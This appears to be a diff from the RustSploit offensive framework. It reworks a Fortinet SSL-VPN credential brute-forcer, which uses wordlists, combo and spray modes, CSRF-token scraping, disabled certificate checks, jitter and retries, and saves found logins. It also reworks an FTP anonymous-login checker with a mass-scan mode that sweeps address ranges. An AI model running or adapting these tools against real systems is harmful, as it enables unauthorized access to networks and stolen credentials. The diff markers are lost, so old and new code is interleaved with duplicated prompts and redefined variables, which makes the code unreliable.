message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
|
||||
// Port
|
||||
let port: u16 = cfg_prompt_port("port", "Fortinet VPN Port", 443).await?;
|
||||
|
||||
// Protocol-specific: realm and trusted certificate
|
||||
let realm_str = cfg_prompt_default("realm", "Authentication realm (optional)", "").await?;
|
||||
let realm: Option<String> = if realm_str.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(realm_str)
|
||||
};
|
||||
|
||||
let trusted_cert_str = cfg_prompt_default(
|
||||
"trusted_cert",
|
||||
"Trusted certificate SHA256 (optional, press Enter to skip)",
|
||||
"",
|
||||
)
|
||||
.await?;
|
||||
let trusted_cert: Option<String> = if trusted_cert_str.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trusted_cert_str)
|
||||
};
|
||||
|
||||
// Wordlists
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist path").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist path").await?;
|
||||
|
||||
// Concurrency and timeout
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
|
||||
// Stop on first success
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
|
||||
// Save results and output file
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file name", "fortinet_results.txt")
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false).await?;
|
||||
|
||||
// Optional prompts
|
||||
// We don't have prompt_optional in shared utils yet?
|
||||
// Yes we do, implicitly via prompt_default("") or similar, check utils.rs
|
||||
// Actually utils has prompt_default. If user enters empty, it returns default.
|
||||
// If we want optional, we might need to rely on prompt_default returning empty string if default is empty?
|
||||
// Let's implement a quick local helper or use prompt_default("", "") if that works.
|
||||
// The previous code had `prompt_optional`.
|
||||
// I will use prompt_default with empty default and check for empty string.
|
||||
|
||||
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "").await?;
|
||||
let trusted_cert = if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) };
|
||||
|
||||
let realm_str = prompt_default("Authentication realm (optional)", "").await?;
|
||||
let realm = if realm_str.is_empty() { None } else { Some(realm_str) };
|
||||
// Verbose
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
|
||||
let base_url = build_fortinet_url(target, port)?;
|
||||
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
// Combo mode
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", base_url);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
// Load wordlists
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
println!("[*] Loaded {} usernames", users.len());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", users.len()).green()
|
||||
);
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
let passwords = load_lines(&passwords_file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
let mut combos = generate_combos_mode(&users, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
println!("[*] Testing {} credential combinations", if combo_mode { users.len() * passwords.len() } else { std::cmp::max(users.len(), passwords.len()) });
|
||||
println!();
|
||||
let normalized = normalize_target(target)?;
|
||||
let target_host = normalized.clone();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Starting brute-force on {}:{}", target_host, port).cyan()
|
||||
);
|
||||
|
||||
// Build the try_login closure that captures Fortinet-specific state
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let realm = realm.clone();
|
||||
let trusted_cert = trusted_cert.clone();
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url =
|
||||
build_fortinet_url(&t, p).unwrap_or_else(|_| format!("https://{}:{}", t, p));
|
||||
match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout_dur)
|
||||
.await
|
||||
{
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target_host,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 100,
|
||||
max_retries: 2,
|
||||
service_name: "fortinet-vpn",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/fortinet_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
// Work generation
|
||||
if combo_mode {
|
||||
for user in &users {
|
||||
for pass in &passwords {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
|
||||
|
||||
spawn_fortinet_task(
|
||||
&mut tasks, &semaphore,
|
||||
user.clone(), pass.clone(),
|
||||
base_url.clone(), realm.clone(), trusted_cert.clone(),
|
||||
found_credentials.clone(), stop_signal.clone(), stats.clone(),
|
||||
verbose, stop_on_success, timeout_duration
|
||||
).await;
|
||||
}
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
|
||||
}
|
||||
} else {
|
||||
let max_len = std::cmp::max(users.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
|
||||
let user = &users[i % users.len()];
|
||||
let pass = &passwords[i % passwords.len()];
|
||||
|
||||
spawn_fortinet_task(
|
||||
&mut tasks, &semaphore,
|
||||
user.clone(), pass.clone(),
|
||||
base_url.clone(), realm.clone(), trusted_cert.clone(),
|
||||
found_credentials.clone(), stop_signal.clone(), stats.clone(),
|
||||
verbose, stop_on_success, timeout_duration
|
||||
).await;
|
||||
}
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Wait for tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
stats.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (url, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", url, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
for (url, user, pass) in creds.iter() {
|
||||
let _ = writeln!(file, "{} -> {}:{}", url, user, pass);
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored Fortinet responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "fortinet_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# Fortinet Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -183,67 +385,19 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn spawn_fortinet_task(
|
||||
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
|
||||
semaphore: &Arc<Semaphore>,
|
||||
user: String,
|
||||
pass: String,
|
||||
base_url: String,
|
||||
realm: Option<String>,
|
||||
trusted_cert: Option<String>,
|
||||
found: Arc<Mutex<Vec<(String, String, String)>>>,
|
||||
stop_signal: Arc<AtomicBool>,
|
||||
stats: Arc<BruteforceStats>,
|
||||
verbose: bool,
|
||||
stop_on_success: bool,
|
||||
timeout: Duration
|
||||
) {
|
||||
let permit = semaphore.clone().acquire_owned().await.ok();
|
||||
if permit.is_none() { return; }
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) { return; }
|
||||
|
||||
match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", base_url, user, pass).green().bold());
|
||||
found.lock().await.push((base_url.clone(), user.clone(), pass.clone()));
|
||||
stats.record_success();
|
||||
if stop_on_success {
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats.record_failure();
|
||||
if verbose {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", base_url, user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_error(e.to_string()).await;
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] {}: error: {}", base_url, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
}
|
||||
|
||||
async fn try_fortinet_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
realm: &Option<String>,
|
||||
trusted_cert: &Option<String>,
|
||||
timeout_duration: Duration
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let mut client_builder = ClientBuilder::new()
|
||||
.cookie_store(true)
|
||||
.redirect(Policy::none())
|
||||
.timeout(timeout_duration);
|
||||
|
||||
|
||||
if trusted_cert.is_some() {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(false)
|
||||
@@ -253,25 +407,27 @@ async fn try_fortinet_login(
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true);
|
||||
}
|
||||
|
||||
|
||||
let client = client_builder
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Get login page
|
||||
let login_page_url = format!("{}/remote/login", base_url);
|
||||
|
||||
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout getting login page")),
|
||||
};
|
||||
|
||||
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login page")),
|
||||
};
|
||||
let login_page_response =
|
||||
match tokio::time::timeout(timeout_duration, client.get(&login_page_url).send()).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout getting login page")),
|
||||
};
|
||||
|
||||
let login_page_body =
|
||||
match tokio::time::timeout(timeout_duration, login_page_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login page")),
|
||||
};
|
||||
|
||||
let csrf_token = extract_csrf_token(&login_page_body);
|
||||
|
||||
@@ -280,95 +436,100 @@ async fn try_fortinet_login(
|
||||
form_data.insert("username", username.to_string());
|
||||
form_data.insert("password", password.to_string());
|
||||
form_data.insert("ajax", "1".to_string());
|
||||
|
||||
|
||||
if let Some(r) = realm {
|
||||
if !r.is_empty() {
|
||||
form_data.insert("realm", r.clone());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if let Some(token) = csrf_token {
|
||||
form_data.insert("magic", token.clone());
|
||||
}
|
||||
|
||||
// Send login request
|
||||
let login_url = format!("{}/remote/logincheck", base_url);
|
||||
|
||||
// Manual form construction
|
||||
let mut body = String::new();
|
||||
for (key, val) in &form_data {
|
||||
if !body.is_empty() { body.push('&'); }
|
||||
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
|
||||
}
|
||||
|
||||
let login_response = match timeout(
|
||||
// Build form body
|
||||
let mut form_pairs: Vec<String> = Vec::new();
|
||||
for (key, val) in &form_data {
|
||||
form_pairs.push(format!("{}={}", key, url_encode(val)));
|
||||
}
|
||||
let body = form_pairs.join("&");
|
||||
|
||||
let login_response = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.post(&login_url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.body(body)
|
||||
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
|
||||
.header(
|
||||
"User-Agent",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
|
||||
)
|
||||
.header("Referer", &login_page_url)
|
||||
.send()
|
||||
).await {
|
||||
.send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout during login request")),
|
||||
};
|
||||
|
||||
let status = login_response.status();
|
||||
|
||||
let location_header = login_response.headers().get("Location")
|
||||
|
||||
let location_header = login_response
|
||||
.headers()
|
||||
.get("Location")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
let cookies: Vec<String> = login_response.cookies()
|
||||
|
||||
let cookies: Vec<String> = login_response
|
||||
.cookies()
|
||||
.map(|c| c.name().to_string())
|
||||
.collect();
|
||||
|
||||
|
||||
let has_auth_cookie = cookies.iter().any(|name| {
|
||||
let lower = name.to_lowercase();
|
||||
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
|
||||
});
|
||||
|
||||
let response_body = match timeout(timeout_duration, login_response.text()).await {
|
||||
|
||||
let response_body = match tokio::time::timeout(timeout_duration, login_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login response")),
|
||||
};
|
||||
|
||||
// Check for success indicators
|
||||
if response_body.contains("redir")
|
||||
|| response_body.contains("\"1\"")
|
||||
|| response_body.contains("success")
|
||||
|| response_body.contains("/remote/index")
|
||||
|| response_body.contains("portal")
|
||||
// Check for explicit success indicators (case-insensitive)
|
||||
let body_lower = response_body.to_lowercase();
|
||||
let success_indicators = ["redir", "\"1\"", "success", "/remote/index", "portal"];
|
||||
if success_indicators
|
||||
.iter()
|
||||
.any(|&indicator| body_lower.contains(indicator))
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check for failure indicators
|
||||
if response_body.contains("error")
|
||||
|| response_body.contains("invalid")
|
||||
|| response_body.contains("failed")
|
||||
|| response_body.contains("incorrect")
|
||||
|| response_body.contains("\"0\"")
|
||||
// Check for explicit failure indicators
|
||||
let failure_indicators = ["error", "invalid", "failed", "incorrect", "\"0\""];
|
||||
if failure_indicators
|
||||
.iter()
|
||||
.any(|&indicator| response_body.contains(indicator))
|
||||
{
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Check status and cookies
|
||||
// Check status code and authentication cookies
|
||||
if status.is_success() && has_auth_cookie {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check redirect location
|
||||
// Check redirect location for success
|
||||
if status.as_u16() == 302 {
|
||||
if let Some(loc_str) = location_header {
|
||||
if loc_str.contains("/remote/index")
|
||||
|| loc_str.contains("portal")
|
||||
|| loc_str.contains("index")
|
||||
{
|
||||
let success_redirects = ["/remote/index", "portal", "index"];
|
||||
if success_redirects.iter().any(|&path| loc_str.contains(path)) {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
@@ -377,21 +538,27 @@ async fn try_fortinet_login(
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Extracts CSRF token from HTML response
|
||||
/// Extracts CSRF token from HTML response using pre-compiled regex patterns
|
||||
fn extract_csrf_token(html: &str) -> Option<String> {
|
||||
let patterns = vec![
|
||||
r#"name="magic"\s+value="([^"]+)""#,
|
||||
r#"name="csrf_token"\s+value="([^"]+)""#,
|
||||
r#""magic"\s*:\s*"([^"]+)""#,
|
||||
r#"magic=([^&\s"]+)"#,
|
||||
];
|
||||
static CSRF_PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
|
||||
let patterns = [
|
||||
r#"name="magic"\s+value="([^"]+)""#,
|
||||
r#"name\s*=\s*"magic"\s+value\s*=\s*"([^"]+)""#,
|
||||
r#"name="csrf_token"\s+value="([^"]+)""#,
|
||||
r#"var\s+magic\s*=\s*"([^"]+)""#,
|
||||
r#""magic"\s*:\s*"([^"]+)""#,
|
||||
r#"magic=([^&\s"]+)"#,
|
||||
];
|
||||
patterns
|
||||
.into_iter()
|
||||
.filter_map(|p| Regex::new(p).ok())
|
||||
.collect()
|
||||
});
|
||||
|
||||
for pattern in patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(captures) = re.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
for pattern in CSRF_PATTERNS.iter() {
|
||||
if let Some(captures) = pattern.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -402,28 +569,24 @@ fn extract_csrf_token(html: &str) -> Option<String> {
|
||||
/// Builds Fortinet VPN URL with proper IPv6 handling
|
||||
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
|
||||
let normalized_host = normalize_target(target)?;
|
||||
|
||||
|
||||
// Check if port is already present
|
||||
let has_port = if normalized_host.starts_with('[') {
|
||||
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
|
||||
// IPv6 case: check if there's a colon after the closing bracket
|
||||
if let Some(bracket_pos) = normalized_host.rfind(']') {
|
||||
normalized_host[bracket_pos..].contains(':')
|
||||
} else {
|
||||
false
|
||||
}
|
||||
} else {
|
||||
normalized_host.contains(':')
|
||||
};
|
||||
|
||||
|
||||
let url = if has_port {
|
||||
format!("https://{}", normalized_host)
|
||||
} else {
|
||||
format!("https://{}:{}", normalized_host, port)
|
||||
};
|
||||
|
||||
|
||||
Ok(url)
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -1,17 +1,45 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use std::net::IpAddr;
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
use crate::utils::cfg_prompt_yes_no;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "FTP Anonymous Login Checker".to_string(),
|
||||
description: "Checks for anonymous FTP access on targets. Supports plain FTP and FTPS, IPv4/IPv6, and mass scanning (hose mode).".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ FTP Anonymous Login Checker ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
@@ -37,7 +65,63 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
|
||||
// Check for Mass Scan Mode conditions (also handles CIDR subnets concurrently)
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "FTP Anonymous",
|
||||
default_port: 21,
|
||||
state_file: "ftp_hose_state.log",
|
||||
default_output: "ftp_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
},
|
||||
|ip: IpAddr, port: u16| async move {
|
||||
// Quick connect check
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Plain FTP anonymous login
|
||||
let addr_str = format!("{}:{}", ip, port);
|
||||
match timeout(
|
||||
Duration::from_millis(5000),
|
||||
AsyncFtpStream::connect(&addr_str),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(mut ftp)) => {
|
||||
if ftp.login("anonymous", "anonymous").await.is_ok() {
|
||||
match timeout(Duration::from_secs(5), ftp.list(None)).await {
|
||||
Ok(Ok(_)) => {
|
||||
let msg = format!("{}:{}:anonymous:anonymous", ip, port);
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!("[+] FOUND: {}", msg).green().bold()
|
||||
);
|
||||
let _ = ftp.quit().await;
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Standard Single Target Logic ---
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
@@ -45,40 +129,155 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
|
||||
println!();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Connecting to FTP service on {}...", addr).cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
// 1️⃣ Try plain FTP first
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
|
||||
// 1. Try plain FTP first
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Attempting plain FTP connection to {}...", addr).dimmed()
|
||||
);
|
||||
}
|
||||
match timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
AsyncFtpStream::connect(&addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(mut ftp)) => {
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] FTP connection established to {}", addr).dimmed()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[VERBOSE] Sending USER anonymous / PASS anonymous ...".dimmed()
|
||||
);
|
||||
}
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if result.is_ok() {
|
||||
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
crate::mprintln!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
match ftp.list(None).await {
|
||||
Ok(entries) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[+] LIST command successful - Read Access Confirmed".green()
|
||||
);
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] LIST returned {} entries", entries.len())
|
||||
.dimmed()
|
||||
);
|
||||
for entry in entries.iter().take(20) {
|
||||
crate::mprintln!("{}", format!("[VERBOSE] {}", entry).dimmed());
|
||||
}
|
||||
if entries.len() > 20 {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[VERBOSE] ... and {} more entries",
|
||||
entries.len() - 20
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => crate::mprintln!(
|
||||
"{}",
|
||||
format!("[-] Login worked but LIST failed: {}", e).yellow()
|
||||
),
|
||||
}
|
||||
// Persist credential to framework credential store
|
